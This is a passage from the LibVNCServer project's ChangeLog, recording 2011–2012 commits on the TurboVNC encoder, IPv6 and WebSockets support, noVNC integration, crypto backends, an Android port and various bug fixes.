compressed using JPEG or raw) was adjusted to account for the fact that JPEG encoding is now quite a bit faster (meaning that we can now use it more without a CPU penalty.) TurboVNC has additional optimizations, such as the ability to count colors and encode JPEG images directly from the framebuffer without first translating the pixels into RGB. The TurboVNC encoder compares quite favorably in terms of compression ratio with TightVNC and generally encodes a great deal faster (often an order of magnitude or more.) The version of the TurboVNC encoder included in this patch is roughly equivalent to the one found in version 0.6 of the Unix TurboVNC Server, with a few minor patches integrated from TurboVNC 1.1. TurboVNC 1.0 added multi-threading capabilities, which can be added in later if desired (at the expense of making libvncserver depend on libpthread.) Because TurboVNC uses a fundamentally different mix of subencodings than TightVNC, because it uses the identical protocol (and thus a viewer really has no idea whether it's talking to a TightVNC or TurboVNC server), and because it doesn't support rfbTightPng (and in fact conflicts with it-- see below), the TurboVNC and TightVNC encoders cannot be enabled simultaneously. Compatibility: In *most* cases, a TurboVNC-enabled viewer is fully compatible with a TightVNC server, and vice versa. TurboVNC supports pseudo-encodings for specifying a fine-grained (1-100) quality scale and specifying chrominance subsampling. If a TurboVNC viewer sends those to a TightVNC server, then the TightVNC server ignores them, so the TurboVNC viewer also sends the quality on a 0-9 scale that the TightVNC server can understand. Similarly, the TurboVNC server checks first for fine-grained quality and subsampling pseudo-encodings from the viewer, and failing to receive those, it then checks for the TightVNC 0-9 quality pseudo-encoding. There is one case in which the two systems are not compatible, and that is when a TightVNC or TigerVNC viewer requests compression level 0 without JPEG from a TurboVNC server. For performance reasons, this causes the TurboVNC server to send images directly to the viewer, bypassing Zlib. When the TurboVNC server does this, it also sets bits 7-4 in the compression control byte to rfbTightNoZlib (0x0A), which is unfortunately the same value as rfbTightPng. Older TightVNC viewers that don't handle PNG will assume that the stream is uncompressed but still encapsulated in a Zlib structure, whereas newer PNG-supporting TightVNC viewers will assume that the stream is PNG. In either case, the viewer will probably crash. Since most VNC viewers don't expose compression level 0 in the GUI, this is a relatively rare situation. Description of changes: configure.ac -- Added support for libjpeg-turbo. If passed an argument of --with-turbovnc, configure will now run (or, if cross-compiling, just link) a test program that determines whether the libjpeg library being used is libjpeg-turbo. libjpeg-turbo must be used when building the TurboVNC encoder, because the TurboVNC encoder relies on the libjpeg-turbo colorspace extensions in order to compress images directly out of the framebuffer (which may be, for instance, BGRA rather than RGB.) libjpeg-turbo can optionally be used with the TightVNC encoder as well, but the speedup will only be marginal (the report linked above explains why in more detail, but basically it's because of Amdahl's Law. The TightVNC encoder was designed with the assumption that JPEG had a very high CPU cost, and thus JPEG is used only sparingly.) -- Added a new configure variable, JPEG_LDFLAGS. This is necessitated by the fact that libjpeg-turbo often distributes libjpeg.a and libjpeg.so in /opt/libjpeg-turbo/lib32 or /opt/libjpeg-turbo/lib64, and many people prefer to statically link with it. Thus, more flexibility is needed than is provided by --with-jpeg. If JPEG_LDFLAGS is specified, then it overrides the changes to LDFLAGS enacted by --with-jpeg (but --with-jpeg is still used to set the include path.) The addition of JPEG_LDFLAGS necessitated replacing AC_CHECK_LIB with AC_LINK_IFELSE (because AC_CHECK_LIB automatically sets LIBS to -ljpeg, which is not what we want if we're, for instance, linking statically with libjpeg-turbo.) -- configure does not check for PNG support if TurboVNC encoding is enabled. This prevents the rfbSendRectEncodingTightPng() function from being compiled in, since the TurboVNC encoder doesn't (and can't) support it. common/turbojpeg.c, common/turbojpeg.h -- TurboJPEG is a simple API used to compress and decompress JPEG images in memory. It was originally implemented because it was desirable to use different types of underlying technologies to compress JPEG on different platforms (mediaLib on SPARC, Quicktime on PPC Macs, Intel Performance Primitives, etc.) These days, however, libjpeg-turbo is the only underlying technology used by TurboVNC, so TurboJPEG's purpose is largely just code simplicity and flexibility. Thus, since there is no real need for libvncserver to use any technology other than libjpeg-turbo for compressing JPEG, the TurboJPEG wrapper for libjpeg-turbo has been included in-tree so that libvncserver can be directly linked with libjpeg-turbo. This is convenient because many modern Linux distros (Fedora, Ubuntu, etc.) now ship libjpeg-turbo as their default libjpeg library. libvncserver/rfbserver.c -- Added logic to check for the TurboVNC fine-grained quality level and subsampling encodings and to map Tight (0-9) quality levels to appropriate fine-grained quality level and subsampling values if communicating with a TightVNC/TigerVNC viewer. libvncserver/turbo.c -- TurboVNC encoder (compiled instead of libvncserver/tight.c) rfb/rfb.h -- Added support for the TurboVNC subsampling level rfb/rfbproto.h -- Added constants for the TurboVNC fine quality level and subsampling encodings as well as the rfbTightNoZlib constant and notes on its usage. 2012-03-10 Christian Beier * client_examples/SDLvncviewer.c, libvncclient/listen.c, libvncclient/sockets.c, libvncclient/vncviewer.c, libvncserver/sockets.c, rfb/rfbclient.h: IPv6 support for LibVNCServer, part three: make reverse connections IPv6-capable. Besided making libvncserver reverseVNC IPv6-aware, this introduces some changes on the client side as well to make clients listen on IPv6 sockets, too. Like the server side, this also uses a separate-socket approach. 2012-03-10 Christian Beier * libvncserver/sockets.c: IPv6 support for LibVNCServer, part onepointseven: Plug a memleak. We have to properly free the addrinfo struct when jumping out of the function. 2012-03-09 Christian Beier * webclients/index.vnc: IPv6 support for LibVNCServer, part twopointone: properly surround IPv6 addresses with [] for noVNC URL. Some browsers omit the square brackets in document.location.hostname, so add them if missing. 2012-02-27 Christian Beier * libvncserver/cargs.c, libvncserver/httpd.c, libvncserver/main.c, rfb/rfb.h: IPv6 support for LibVNCServer, part two: Let the http server listen on IPv6, too. As done with the RFB sockets, this uses a separate-socket approach as well. 2012-02-27 Christian Beier * libvncserver/main.c: IPv6 support for LibVNCServer, part onepointsix: fix a small logic error. Without this, we would have gotten a stale IPv4 socket in a race condition. 2012-02-27 Christian Beier * libvncserver/rfbserver.c, libvncserver/sockets.c: IPv6 support for LibVNCServer, part onepointfive: Fix compilation with IPv6 missing. There was an oversight that crept in... 2012-02-20 Christian Beier * libvncserver/cargs.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: IPv6 support for LibVNCServer, part one: accept IPv4 and IPv6 connections. This uses a separate-socket approach since there are systems that do not support dual binding sockets under *any* circumstances, for instance OpenBSD. Using separate sockets for IPv4 and IPv6 is thus more portable than having a v6 socket handle v4 connections as well. Signed-off-by: Christian Beier 2012-02-11 Mateus Cesar Groess * AUTHORS, client_examples/Makefile.am, client_examples/gtkvncviewer.c, configure.ac: Here is a port of SDLvncviewer to GTK+2. I think it may encourage people to implement more features for the viewer, because a GTK GUI seems to be easier to implement than a SDL one (and it is more integrated with the major Linux Desktops out there). Signed-off-by: Christian Beier 2012-02-11 Christian Beier * AUTHORS: Update AUTHORS. 2012-02-10 Kyle J. McKay * libvncserver/auth.c, libvncserver/rfbserver.c, rfb/rfb.h: Support Mac OS X vnc client with no password Support connections from the Mac OS X built-in VNC client to LibVNCServers running with no password and advertising a server version of 3.7 or greater. 2012-02-04 Johannes Schindelin * AUTHORS: Add Luca to the AUTHORS Signed-off-by: Johannes Schindelin 2012-02-04 Luca Stauble * libvncclient/listen.c, libvncclient/sockets.c, libvncclient/vncviewer.c, rfb/rfbclient.h: Add an optional parameter to specify the ip address for reverse connections For security reasons, it can be important to limit which IP addresses a LibVNCClient-based client should listen for reverse connections. This commit adds that option. To preserve binary backwards-compatibility, the field was added to the end of the rfbclient struct, and the function ListenAtTcpPort retains its signature (but calls the new ListenAtTcpPortAndAddress). [jes: shortened the commit subject, added a longer explanation in the commit body and adjusted style] Signed-off-by: Luca Stauble Signed-off-by: Johannes Schindelin 2012-01-12 Gernot Tenchio * libvncserver/websockets.c: websockets: removed debug message 2012-01-12 Gernot Tenchio * libvncserver/websockets.c: websockets: restore errno after logging an error 2012-01-12 Gernot Tenchio * CMakeLists.txt: cmake: adapted to latest websocket crypto changes 2011-12-15 Christian Beier * rfb/rfbclient.h: Small changes to LibNVCClient doxygen documentation. 2011-12-01 Christian Beier * libvncserver/Makefile.am: Fix build error when libpng is available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses libjpeg features. We could probably seperate that, but for now the dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in Makefile.am now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around. 2011-12-01 Christian Beier * configure.ac: Use AM_SILENT_RULES only when it's actually available. Otherwise building breaks with older make versions. Happens on OS X 10.6 for instance. 2011-11-09 Christian Beier * configure.ac, webclients/Makefile.am, webclients/index.vnc, webclients/java-applet/Makefile.am, webclients/java-applet/javaviewer.pseudo_proxy.patch, webclients/java-applet/ssl/Makefile.am, webclients/java-applet/ssl/README, webclients/java-applet/ssl/index.vnc, webclients/java-applet/ssl/onetimekey, webclients/java-applet/ssl/proxy.vnc, webclients/java-applet/ssl/ss_vncviewer, webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-curso r-colors+no-tab-traversal.patch, webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.p atch, webclients/java-applet/ssl/ultra.vnc, webclients/java-applet/ssl/ultraproxy.vnc, webclients/java-applet/ssl/ultrasigned.vnc, webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, webclients/javaviewer.pseudo_proxy.patch, webclients/ssl/Makefile.am, webclients/ssl/README, webclients/ssl/index.vnc, webclients/ssl/onetimekey, webclients/ssl/proxy.vnc, webclients/ssl/ss_vncviewer, webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no- tab-traversal.patch, webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc, webclients/ssl/ultrasigned.vnc, webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Move the java stuff into webclients/java-applet. 2011-11-09 Christian Beier * LibVNCServer.spec.in, Makefile.am, README, classes/Makefile.am, classes/index.vnc, classes/javaviewer.pseudo_proxy.patch, classes/novnc/LICENSE.txt, classes/novnc/README.md, classes/novnc/favicon.ico, classes/novnc/include/base.css, classes/novnc/include/base64.js, classes/novnc/include/black.css, classes/novnc/include/blue.css, classes/novnc/include/des.js, classes/novnc/include/display.js, classes/novnc/include/input.js, classes/novnc/include/logo.js, classes/novnc/include/playback.js, classes/novnc/include/rfb.js, classes/novnc/include/ui.js, classes/novnc/include/util.js, classes/novnc/include/vnc.js, classes/novnc/include/web-socket-js/README.txt, classes/novnc/include/web-socket-js/swfobject.js, classes/novnc/include/web-socket-js/web_socket.js, classes/novnc/include/websock.js, classes/novnc/include/webutil.js, classes/novnc/vnc.html, classes/novnc/vnc_auto.html, classes/ssl/Makefile.am, classes/ssl/README, classes/ssl/index.vnc, classes/ssl/onetimekey, classes/ssl/proxy.vnc, classes/ssl/ss_vncviewer, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab -traversal.patch, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc, classes/ssl/ultrasigned.vnc, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac, examples/example.c, examples/pnmshow.c, examples/pnmshow24.c, rfb/rfb.h, webclients/Makefile.am, webclients/index.vnc, webclients/javaviewer.pseudo_proxy.patch, webclients/novnc/LICENSE.txt, webclients/novnc/README.md, webclients/novnc/favicon.ico, webclients/novnc/include/base.css, webclients/novnc/include/base64.js, webclients/novnc/include/black.css, webclients/novnc/include/blue.css, webclients/novnc/include/des.js, webclients/novnc/include/display.js, webclients/novnc/include/input.js, webclients/novnc/include/logo.js, webclients/novnc/include/playback.js, webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, webclients/novnc/include/web-socket-js/README.txt, webclients/novnc/include/web-socket-js/swfobject.js, webclients/novnc/include/web-socket-js/web_socket.js, webclients/novnc/include/websock.js, webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, webclients/novnc/vnc_auto.html, webclients/ssl/Makefile.am, webclients/ssl/README, webclients/ssl/index.vnc, webclients/ssl/onetimekey, webclients/ssl/proxy.vnc, webclients/ssl/ss_vncviewer, webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no- tab-traversal.patch, webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc, webclients/ssl/ultrasigned.vnc, webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Rename 'classes' dir to 'webclients'. 2011-11-09 Christian Beier * classes/index.vnc, libvncserver/httpd.c: novnc client: use the client's notion about the server hostname instead of what the server thinks. 2011-11-09 Christian Beier * classes/index.vnc: Fix tiny typo. 2011-11-09 Christian Beier * NEWS: Add 0.9.8.2 NEWS entry. 2011-11-09 Christian Beier * libvncclient/rfbproto.c: When GetCredential() callback is not set, don't use authentications requiring it. The auth methods that employ Getcredential() will only be used if the client's GetCredential callback is actually set. 2011-10-12 Christian Beier * ChangeLog: Update ChangeLog for 0.9.8.1. 2011-10-12 Christian Beier * CMakeLists.txt, NEWS, configure.ac: Update version number in autotools && cmake, NEWS entry. 2011-10-26 Peter Watkins * rfb/rfbclient.h: Added comments. 2011-10-26 Christian Beier * libvncserver/rfbserver.c: Fix deadlock in threaded mode when using nested rfbClientIteratorNext() calls. Lengthy explanation follows... First, the scenario before this patch: We have three clients 1,2,3 connected. The main thread loops through them using rfbClientIteratorNext() (loop L1) and is currently at client 2 i.e. client 2's cl_2->refCount is 1. At this point we need to loop again through the clients, with cl_2->refCount == 1, i.e. do a loop L2 nested within loop L1. BUT: Now client 2 disconnects, it's clientInput thread terminates its clientOutput thread and calls rfbClientConnectionGone(). This LOCKs clientListMutex and WAITs for cl_2->refCount to become 0. This means this thread waits for the main thread to release cl_2. Waiting, with clientListMutex LOCKed! Meanwhile, the main thread is about to begin the inner rfbClientIteratorNext() loop L2. The first call to rfbClientIteratorNext() LOCKs clientListMutex. BAAM. This mutex is locked by cl2's clientInput thread and is only released when cl_2->refCount becomes 0. The main thread would decrement cl_2->refCount when it would continue with loop L1. But it's waiting for cl2's clientInput thread to release clientListMutex. Which never happens since this one's waiting for the main thread to decrement cl_2->refCount. DEADLOCK. Now, situation with this patch: Same as above, but when client 2 disconnects it's clientInput thread rfbClientConnectionGone(). This again LOCKs clientListMutex, removes cl_2 from the linked list and UNLOCKS clientListMutex. The WAIT for cl_2->refCount to become 0 is _after_ that. Waiting, with clientListMutex UNLOCKed! Therefore, the main thread can continue, do the inner loop L2 (now only looping through 1,3 - 2 was removed from the linked list) and continue with loop L1, finally decrementing cl_2->refCount, allowing cl2's clientInput thread to continue and terminate. The resources held by cl2 are not free()'d by rfbClientConnectionGone until cl2->refCount becomes 0, i.e. loop L1 has released cl2. 2011-10-16 Johannes Schindelin * AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin 2011-10-16 George Fleury * libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using rfbReverseConnection with rfbProcessEvents, and then when the client connection dies, i am calling a rfbShutdownServer and rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been freed. So to free the stats i added a rfbResetStats(cl) after rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before free the cl pointer. (at rfbserver.c line 555). And this, obviously, is correcting the memory leak. Signed-off-by: Johannes Schindelin 2011-10-08 Johannes Schindelin * rfb/rfbclient.h: Hopefully fix the crash when updating from 0.9.7 or earlier For backwards-compatibility reasons, we can only add struct members to the end. That way, existing callers still can use newer libraries, as the structs are always allocated by the library (and therefore guaranteed to have the correct size) and still rely on the same position of the parts the callers know about. Reported by Luca Falavigna. Signed-off-by: Johannes Schindelin 2011-10-09 Johannes Schindelin * client_examples/SDLvncviewer.c: SDLvncviewer: make it resizable by default I got annoyed having to specify -resizable all the time; I never use it in another mode anymore, since I am on a netbook. The option -no-resizable was added to be able to switch off that feature. Signed-off-by: Johannes Schindelin 2011-10-06 Christian Beier * libvncserver/httpd.c: httpd: fix sending of binary data such as images. We do this simply by omitting the content-type and let the browser decide upon the mime-type of the sent file. Only exception is 'index.vnc', where we do set the content-type since some browsers fail to detect it's html when it's ending in '.vnc' Also, remove superfluous #defines. We close the connection always. 2011-10-06 Christian Beier * classes/index.vnc: Fix typo && use proper website. 2011-10-04 Christian Beier * classes/index.vnc, classes/novnc/LICENSE.txt, classes/novnc/README.md, classes/novnc/favicon.ico, classes/novnc/include/base.css, classes/novnc/include/base64.js, classes/novnc/include/black.css, classes/novnc/include/blue.css, classes/novnc/include/des.js, classes/novnc/include/display.js, classes/novnc/include/input.js, classes/novnc/include/logo.js, classes/novnc/include/playback.js, classes/novnc/include/rfb.js, classes/novnc/include/ui.js, classes/novnc/include/util.js, classes/novnc/include/vnc.js, classes/novnc/include/web-socket-js/README.txt, classes/novnc/include/web-socket-js/swfobject.js, classes/novnc/include/web-socket-js/web_socket.js, classes/novnc/include/websock.js, classes/novnc/include/webutil.js, classes/novnc/vnc.html, classes/novnc/vnc_auto.html, libvncserver/httpd.c: Add noVNC HTML5 client connect possibility to our http server. Pure JavaScript, no Java plugin required anymore! (But a recent browser...) 2011-10-04 Christian Beier * configure.ac: This build warning is a libvncserver one, not for x11vnc. Also, make it warn more generally when no known encryption lib is available. 2011-09-21 Gernot Tenchio * common/md5.c: md5: forced to use function names with leading underscores Commented out the surrounding '#ifdef _LIBC' to build md5.o with leading underscores. This is required to match the prototypes defined in md5.h. 2011-09-20 Gernot Tenchio * libvncserver/rfbcrypto_included.c: rfbcrypto_included: fix c&p errors 2011-09-20 Gernot Tenchio * libvncserver/rfbcrypto_polarssl.c: rfbcrypto_polarssl: it was way to late last night... 2011-09-18 Gernot Tenchio * libvncserver/Makefile.am, libvncserver/rfbcrypto.h, libvncserver/rfbcrypto_gnutls.c, libvncserver/rfbcrypto_included.c, libvncserver/rfbcrypto_openssl.c, libvncserver/rfbcrypto_polarssl.c, libvncserver/websockets.c: Add support for different crypto implementations 2011-09-11 Christian Beier * configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and GnuTLS advertisement. 2011-09-11 Christian Beier * libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of processed certs and _not_ GNUTLS_E_SUCCESS (0) on success! 2011-09-11 Christian Beier * AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the websocket guys. 2011-08-28 Gernot Tenchio * configure.ac: configure: Add AM_SILENT_RULES Working with “silent make mode” makes debugging a lot of easier since warnings wont shadowed by useless compiler noise 2011-08-27 Gernot Tenchio * CMakeLists.txt: cmake: set SOVERSION 2011-09-11 Christian Beier * configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and GnuTLS advertisement. 2011-09-11 Christian Beier * libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of processed certs and _not_ GNUTLS_E_SUCCESS (0) on success! 2011-09-11 Christian Beier * AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the websocket guys. 2011-09-02 Gernot Tenchio * libvncserver/websockets.c: websocket: Use a single buffer for both, encoding and decoding 2011-08-30 Gernot Tenchio * libvncserver/rfbssl_gnutls.c: rfbssl_gnutls: Merge rfbssl_peek/rfbssl_read into one function 2011-08-30 Gernot Tenchio * libvncserver/websockets.c: websockets: fix webSocketCheckDisconnect() Do not consume the peeked data if no close frame was detected. 2011-08-29 Gernot Tenchio * libvncserver/websockets.c: websockets: use 32bit Xor in webSocketsDecodeHybi() 2011-08-29 Gernot Tenchio * CMakeLists.txt: cmake: use sha1.c for websocket builds 2011-08-25 Gernot Tenchio * libvncserver/websockets.c: websockets: nothing to worry about 2011-08-25 Gernot Tenchio * libvncserver/websockets.c: websockets: added gcrypt based sha1 digest funtion 2011-08-25 Joel Martin * common/sha1.c, common/sha1.h, libvncserver/Makefile.am, libvncserver/websockets.c: Add sha1.*. Remove UTF-8 encode. Protocol handling. Add common/sha1.h and common/sha1.c so that we have the SHA routines even if openssl is not available. From the IETF SHA RFC example code. Remove the UTF-8 encoding hack. This was really just an experiment. If the protocol passed in the handshake has "binary" then don't base64 encode for the HyBi protocol. This will allow noVNC to request the binary data be passed raw and not base64 encoded. Unfortunately, the client doesn't speak first in VNC protocol (bad original design). If it did then we could determine whether to base64 encode or not based on the first HyBi frame from the client and whether the binary bit is set or not. Oh well. Misc Cleanup: - Always free response and buf in handshake routine. - Remove some unused variables. 2011-08-25 Gernot Tenchio * CMakeLists.txt: cmake: make some noise 2011-08-25 Gernot Tenchio * libvncserver/rfbssl_gnutls.c: websockets: remove warning on 64bit platforms 2011-08-25 Gernot Tenchio * libvncserver/websockets.c: websockets: Removed debugging left over 2011-08-25 Gernot Tenchio * libvncserver/websockets.c: websockets: Use callback functions for encode/decode 2011-08-25 Gernot Tenchio * libvncserver/rfbserver.c, libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: websockets: Move Hixie disconnect hack to websockets.c Move the hixie disconnect hack to websockets.c. Removed the remaining websockets vars from rfbClientPtr, so all websockets stuff is hidden behind an opaque pointer. 2011-08-25 Gernot Tenchio * libvncserver/rfbserver.c, libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: websockets: Initial HyBi support 2011-08-16 Gernot Tenchio * CMakeLists.txt: cmake: don't link sdl libs to vnc libraries Signed-off-by: Johannes Schindelin 2011-08-16 Gernot Tenchio * libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: websockets: Add wspath member to rfbClientRec Added wspath member to rfbClientRec which holds the path component of the initial websocket request. Signed-off-by: Johannes Schindelin 2011-08-16 Gernot Tenchio * CMakeLists.txt, common/md5.c, common/md5.h, libvncserver/Makefile.am, libvncserver/md5.c, libvncserver/md5.h: Move libvncserver/md5* to common Signed-off-by: Johannes Schindelin 2011-08-16 Gernot Tenchio * CMakeLists.txt, rfb/rfbconfig.h.cmake: websockets: Add Websockets support to CMakeLists.txt Signed-off-by: Johannes Schindelin 2011-08-16 Joel Martin * libvncserver/Makefile.am, libvncserver/cargs.c: websockets: Add SSL cert command line options. - Add --sslcertfile and --sslkeyfile. These should really be combined with the existing x11vnc command line options for SSL support. Signed-off-by: Johannes Schindelin 2011-08-17 Gernot Tenchio * configure.ac, libvncserver/Makefile.am, libvncserver/rfbssl_gnutls.c, libvncserver/rfbssl_openssl.c: websockets: add GnuTLS and OpenSSL support For now, only OpenSSL support is activated through configure, since GnuTLS is only used in LibVNCClient. [jes: separated this out from the commit adding encryption support, added autoconf support.] Signed-off-by: Johannes Schindelin 2011-08-16 Gernot Tenchio * libvncserver/Makefile.am, libvncserver/rfbserver.c, libvncserver/rfbssl.h, libvncserver/rfbssl_none.c, libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: websockets: Add encryption support [jes: moved out GnuTLS and OpenSSL support, added a dummy support, to separate changes better, and to keep things compiling] Signed-off-by: Johannes Schindelin 2011-08-16 Joel Martin * libvncserver/websockets.c: websockets: Properly parse Hixie-76 handshake. Signed-off-by: Johannes Schindelin 2011-08-16 Joel Martin * libvncserver/rfbserver.c, libvncserver/websockets.c: websockets: Add UTF-8 encoding support. This is not completely standard UTF-8 encoding. Only code points 0-255 are encoded and never encoded to more than two octets. Since '\x00' is a WebSockets framing character, it's easier for all parties to encode zero as '\xc4\x80', i.e. 194+128, i.e. UTF-8 256. This means that a random stream will be slightly more than 50% larger using this encoding scheme. But it's easy CPU-wise for client and server to decode/encode. This is especially important for clients written in languages that have weak bitops, like Javascript (i.e. the noVNC client). Signed-off-by: Johannes Schindelin 2011-08-16 Joel Martin * libvncserver/rfbserver.c: websockets: Better disconnect detection. If the only thing we are waiting on is a WebSockets terminator, then remove it from the stream early on in rfbProcessClientNormalMessage. Signed-off-by: Johannes Schindelin 2011-08-16 Joel Martin * configure.ac, libvncserver/Makefile.am, libvncserver/md5.c, libvncserver/md5.h, libvncserver/rfbserver.c, libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: websockets: Initial WebSockets support. Has a bug: WebSocket client disconnects are not detected. rfbSendFramebufferUpdate is doing a MSG_PEEK recv to determine if enough data is available which prevents a disconnect from being detected. Otherwise it's working pretty well. [jes: moved added struct members to the end for binary compatibility with previous LibVNCServer versions, removed an unused variable] Signed-off-by: Johannes Schindelin 2011-08-17 Johannes Schindelin * .gitignore: .gitignore: zippy has moved Signed-off-by: Johannes Schindelin 2011-07-25 Christian Beier * examples/android/README: Add installation hints to android example README. 2011-07-22 William Roberts * examples/android/jni/fbvncserver.c: Reduced memory footprint by 50% 2011-07-22 William Roberts * examples/android/jni/fbvncserver.c: Corrected resolution issue, but screen is getting reported as wrong size 2011-07-23 ckanru * examples/android/jni/fbvncserver.c: Fixes running vncserver on beagleboard/0xdroid and possibly any device without a touch screen. Because fake touch screen always report zero when query device information, coordinates transformation is not needed. Signed-off-by: Christian Beier 2011-07-23 Christian Beier * configure.ac, examples/Makefile.am, examples/android/Makefile.am, rfb/rfb.h, vncterm/Makefile.am: Adopt autotools build system to Android. LibVNCServer/LibVNCClient now build for Android! 2011-07-23 Christian Beier * examples/android/README, examples/android/jni/Android.mk, examples/android/jni/fbvncserver.c: Add androidvncserver example. 2011-07-22 letsgoustc * rfb/rfb.h: Make LibVNCServer build for Android. Signed-off-by: Christian Beier 2011-07-19 Joel Martin * libvncserver/tight.c: tightPng: check even for SendGradientRect. Signed-off-by: Christian Beier 2011-07-19 Joel Martin * CMakeLists.txt, configure.ac, libvncserver/Makefile.am, libvncserver/rfbserver.c, libvncserver/stats.c, libvncserver/tight.c, rfb/rfb.h, rfb/rfbconfig.h.cmake, rfb/rfbproto.h: tightPng: Add initial tightPng encoding support. http://wiki.qemu.org/VNC_Tight_PNG Signed-off-by: Joel Martin Signed-off-by: Christian Beier 2011-06-01 Christian Beier * libvncserver/main.c, libvncserver/sockets.c: Remove some unused variables. 2010-11-14 George Kiagiadakis * libvncserver/sockets.c, rfb/rfb.h: Fix rfbProcessNewConnection to return some value instead of void. BUG: 256891 Signed-off-by: Christian Beier 2010-11-10 George Kiagiadakis * libvncserver/main.c, libvncserver/sockets.c, rfb/rfb.h: Split two event-loop related functions out of the rfbProcessEvents() mechanism. This is required to be able to do proper event loop integration with Qt. Idea was taken from vino's libvncserver fork. Signed-off-by: Christian Beier 2011-05-06 Cristian Rodríguez * libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fix buffer overflow Signed-off-by: Cristian Rodríguez Signed-off-by: Christian Beier 2011-04-30 Christian Beier * libvncserver/tight.c: Revert "Fix memory corruption bug." This reverts commit c1363fa9583ed41b94fbc79b3ff410b7d5189407. The proper fix was already in 804335f9d296440bb708ca844f5d89b58b50b0c6. 2011-04-28 Johannes Schindelin * AUTHORS: UTF-8ify AUTHORS Signed-off-by: Johannes Schindelin 2011-04-28 Johannes Schindelin * AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin 2010-11-10 George Kiagiadakis * libvncserver/tight.c: Fix memory corruption bug. This bug occured when a second telepathy tubes client was connected after the first one had disconnected and the channel (thus, the screen too) had been destroyed. Signed-off-by: Johannes Schindelin 2010-11-10 George Kiagiadakis * common/zywrletemplate.c, libvncserver/auth.c, libvncserver/rfbserver.c, libvncserver/scale.c, libvncserver/scale.h, rfb/rfb.h: Fix compilation in c89 mode. Signed-off-by: Johannes Schindelin 2011-04-27 Vic Lee * libvncclient/tls.c: Replace deprecated GnuTLS functions gnutls_*_set_priority with gnutls_priority_set_direct. The functions gnutls_*_set_priority we used were marked deprecated since latest GnuTLS version 2.12. However the replacement function gnutls_priority_set_direct is available since 2.2, which is even lower than our version requirement 2.4 in configure. The patch just replace the deprecate function to fix the compile warning. Signed-off-by: Vic Lee Signed-off-by: Johannes Schindelin 2011-03-30 Christian Beier * ChangeLog: Update ChangeLog for 0.9.8. 2011-03-29 Christian Beier * README: Remove RDP from the README description. We do VNC but no RDP. Pointed out by Vic Lee, thanks! 2011-03-29 Christian Beier * utils/git2cl.pl: Fix skipping of merge commits in log convert script. 2011-03-29 Christian Beier * bdf2c.pl, consolefont2c.pl, utils/bdf2c.pl, utils/consolefont2c.pl, utils/git2cl.pl: Add a git-log to GNU-Style ChangeLog converter script. Also put all helper scripts into a utils directory. 2011-03-28 Christian Beier * NEWS: Mention the pkg-config stuff in NEWS. 2011-03-27 Vic Lee * .gitignore, Makefile.am, configure.ac, libvncclient.pc.in, libvncserver.pc.in: Add libvncserver.pc and libvncclient.pc files. Signed-off-by: Vic Lee Signed-off-by: Christian Beier 2011-03-17 Christian Beier * libvncclient/ultra.c, libvncserver/ultra.c: Fix regression in Ultra encoding introduced by commit fe1ca16e9b75b5f38ab374c8dfff92d2c3ea4532. My bad. There we see what the encodings test is good for ;-) 2011-03-17 Christian Beier * test/encodingstest.c: Update encodingstest. * Fixed segfault on shutdown. * Updated to test all encodings. * Fixed to operate with encodings that split up rects into smaller rects. 2011-03-17 Christian Beier * libvncclient/rfbproto.c: Remove useless comparisons that always evaluate to false. There can not be more than 255 security types and MSLogon is RFB 3.6 only. 2011-03-17 Christian Beier * examples/rotate.c, examples/rotatetemplate.c, examples/vncev.c, libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/ultra.c, libvncclient/zrle.c, libvncserver/rfbserver.c, libvncserver/ultra.c: Fix (most) MinGW32 compiler warnings. 2011-03-17 Christian Beier * examples/rotate.c, examples/zippy.c, libvncserver/zrle.c, libvncserver/zrleencodetemplate.c: Fix remaining compiler warnings. 2011-03-17 Christian Beier * 